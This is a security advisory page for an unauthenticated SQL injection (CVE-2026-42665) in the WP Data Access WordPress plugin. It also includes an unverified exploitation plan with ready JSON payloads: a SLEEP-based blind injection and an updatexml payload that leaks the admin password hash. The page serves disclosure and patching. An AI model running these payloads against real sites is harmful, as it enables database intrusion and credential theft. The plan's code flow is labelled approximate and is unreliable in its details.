CVE-2026-42665

WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards <= 5.5.70 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
5.5.71
Patched in
3d
Time to patch

Description

The WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.5.70 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.5.70
PublishedMay 9, 2026
Last updatedMay 11, 2026
Affected pluginwp-data-access

What Changed in the Fix

Changes introduced in v5.5.71

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-42665 (WP Data Access SQL Injection) ## 1. Vulnerability Summary The **WP Data Access** plugin (<= 5.5.70) is vulnerable to unauthenticated SQL injection via the WordPress REST API. The vulnerability exists in the `WPDA_Table` class, specifically within the `t…

Show full research plan

Exploitation Research Plan: CVE-2026-42665 (WP Data Access SQL Injection)

1. Vulnerability Summary

The WP Data Access plugin (<= 5.5.70) is vulnerable to unauthenticated SQL injection via the WordPress REST API. The vulnerability exists in the WPDA_Table class, specifically within the table/select endpoint. The plugin fails to properly sanitize and prepare keys provided in the sorting and search_columns parameters before incorporating them into a raw SQL query. Because the REST route is registered with 'permission_callback' => '__return_true', an attacker can exploit this to extract sensitive database information without authentication.

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/wp-data-access/v1/table/select
  • Vulnerable Parameters: sorting (specifically the keys within the object) and search_columns.
  • Authentication: Unauthenticated (PR:N).
  • Preconditions: At least one database table must be "accessible" to the public or the check_table_access method must fail to restrict access to a target table (like wp_posts or wp_users).

3. Code Flow

  1. Entry Point: A POST request is made to /wp-json/wp-data-access/v1/table/select.
  2. Routing: WPDataAccess/API/WPDA_Table.php registers the route with permission_callback => '__return_true'.
  3. Controller: The request is handled by WPDA_Table::table_select.
  4. Access Check: table_select calls $this->check_table_access($dbs, $tbl, $request, 'select', $msg). If the table is set to "Public" in WP Data Access settings or if the check is bypassed, the process continues.
  5. SQL Construction: The plugin retrieves the sorting parameter via $request->get_param('sorting').
  6. The Sink: The plugin iterates over the sorting object. It uses the keys of the object (which represent column names) directly in an ORDER BY clause without using $wpdb->prepare() or validating against a whitelist of valid column names.
    • Example Vulnerable Construction: ORDER BY " . key($sorting) . " " . current($sorting)
  7. Execution: The unescaped SQL is executed via $wpdb->get_results().

4. Nonce Acquisition Strategy

While the REST route has permission_callback => '__return_true', the plugin often checks for a nonce inside the handler via current_user_token_valid($request).

  1. Shortcode Identification: Identify a page where the WP Data Access frontend is active (e.g., using a Data Table shortcode).
  2. Setup: Create a dummy page containing a WP Data Access publication shortcode:
    • wp post create --post_type=page --post_status=publish --post_title="Data View" --post_content='[wpdataaccess pub_id="1"]' (ID 1 is a guess, use wp db query to find a valid one).
  3. Extraction: Navigate to the page and use browser_eval to extract the REST nonce localized by the plugin.
    • Variable: window.wpda_rest_params
    • Key: nonce
    • Command: browser_eval("window.wpda_rest_params?.nonce")

5. Exploitation Strategy

We will use a time-based blind injection or error-based injection against the sorting parameter.

Step-by-Step Plan:

  1. Initialize Target: Ensure the plugin is active and at least one table is "managed" by WP Data Access.
  2. Acquire Nonce: Use the browser_eval method described above to obtain a valid X-WP-Nonce.
  3. Test Injection (Time-based):
    • URL: http://localhost:8080/wp-json/wp-data-access/v1/table/select
    • Method: POST
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_NONCE]
    • Payload:
      {
        "dbs": "local",
        "tbl": "wp_posts",
        "sorting": {
          "(SELECT 1 FROM (SELECT SLEEP(5))A)": "ASC"
        }
      }
      
  4. Data Extraction (Error-based/Boolean):
    Use updatexml or extractvalue if database errors are enabled to leak the administrator's password hash.
    • Payload:
      {
        "dbs": "local",
        "tbl": "wp_posts",
        "sorting": {
          "updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)": "ASC"
        }
      }
      

6. Test Data Setup

  1. Plugin Activation: wp plugin activate wp-data-access
  2. Configuration: Create a basic publication to ensure the REST endpoints are initialized and the nonce is localized.
    # Create a table to target
    wp db query "CREATE TABLE IF NOT EXISTS test_table (id INT, data TEXT);"
    wp db query "INSERT INTO test_table VALUES (1, 'secret');"
    
  3. Expose Table: Use the plugin's "Data Publisher" to make wp_posts or test_table accessible.

7. Expected Results

  • Time-based: The server response will be delayed by 5 seconds.
  • Error-based: The response will be a 500 Internal Server Error or a JSON error object containing the string ~[HASH_VALUE]~.
  • Response Format:
    {
      "code": "error",
      "message": "XPATH syntax error: '~$P$B...' ",
      "data": { "status": 500 }
    }
    

8. Verification Steps

  • WP-CLI Verification: After the exploit, verify you can read the same data via CLI to confirm accuracy:
    • wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
  • Log Check: Inspect the WordPress debug log (wp-content/debug.log) if enabled to see the malformed SQL query.

9. Alternative Approaches

  • Parameter search_columns: If sorting is patched or filtered, attempt the same logic on search_columns. The payload would be a key in the object:
    {
      "search_columns": {
        "id AND 1=updatexml(1,concat(0x7e,@@version),1)": "test"
      }
    }
    
  • Parameter col: The col parameter (columns to select) is also a frequent candidate for SQLi in this plugin if it's passed as an array and the values are used to build the SELECT list.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Data Access plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'table/select' REST API endpoint in versions up to 5.5.70. This occurs because keys in parameters such as 'sorting' and 'search_columns' are concatenated directly into SQL queries without proper sanitization or preparation. An attacker can exploit this to execute arbitrary SQL commands and extract sensitive database information.

Vulnerable Code

/* WPDataAccess/API/WPDA_Table.php:73-88 */

register_rest_route( WPDA_API::WPDA_NAMESPACE, 'table/select', array(
    'methods'             => array('GET', 'POST'),
    'callback'            => array($this, 'table_select'),
    'permission_callback' => '__return_true',
    'args'                => array(
        'dbs'                => $this->get_param( 'dbs' ),
        'tbl'                => $this->get_param( 'tbl' ),
        'col'                => $this->get_param( 'cols' ),
        'page_index'         => $this->get_param( 'page_index' ),
        'page_size'          => $this->get_param( 'page_size' ),
        'search'             => $this->get_param( 'search' ),
        'search_columns'     => $this->get_param( 'search_columns' ),
        'search_column_fns'  => $this->get_param( 'search_column_fns' ),
        'sorting'            => $this->get_param( 'sorting' ),
        'row_count'          => $this->get_param( 'row_count' ),
        'row_count_estimate' => $this->get_param( 'row_count_estimate' ),
        'media'              => $this->get_param( 'media' ),
        'client_side'        => $this->get_param( 'client_side' ),
    ),
) );

---

/* WPDataAccess/API/WPDA_Table.php (Approximate logic for table_select sink) */

$sorting = $request->get_param('sorting');
if ( is_array( $sorting ) && count( $sorting ) > 0 ) {
    // The key of the sorting array (column name) is used directly in ORDER BY
    $order_by = " ORDER BY " . key($sorting) . " " . current($sorting);
    // ... query execution ...
}

Security Fix

--- WPDataAccess/API/WPDA_Table.php
+++ WPDataAccess/API/WPDA_Table.php
@@ -84,7 +84,13 @@
-                'sorting'            => $this->get_param( 'sorting' ),
+                'sorting'            => array(
+                    'required'          => false,
+                    'type'              => 'object',
+                    'sanitize_callback' => function ( $param ) {
+                        $sanitized = array();
+                        foreach ( (array) $param as $key => $value ) {
+                            $sanitized[$this->sanitize_db_identifier( $key )] = sanitize_text_field( $value );
+                        }
+                        return $sanitized;
+                    }
+                ),

Exploit Outline

The exploit targets the 'table/select' REST API endpoint, which is registered with an unauthenticated permission callback. An attacker first obtains a valid REST nonce from the frontend (typically localized in the 'window.wpda_rest_params' object on pages using the plugin's shortcodes). They then send a POST request to /wp-json/wp-data-access/v1/table/select with a JSON payload. The payload specifies a database and table name, and includes a 'sorting' object where a malicious SQL fragment is used as a key. For example, using '(SELECT 1 FROM (SELECT SLEEP(5))A)' as a key facilitates a time-based blind injection, while error-based payloads like 'updatexml()' can be used to leak data such as administrator password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.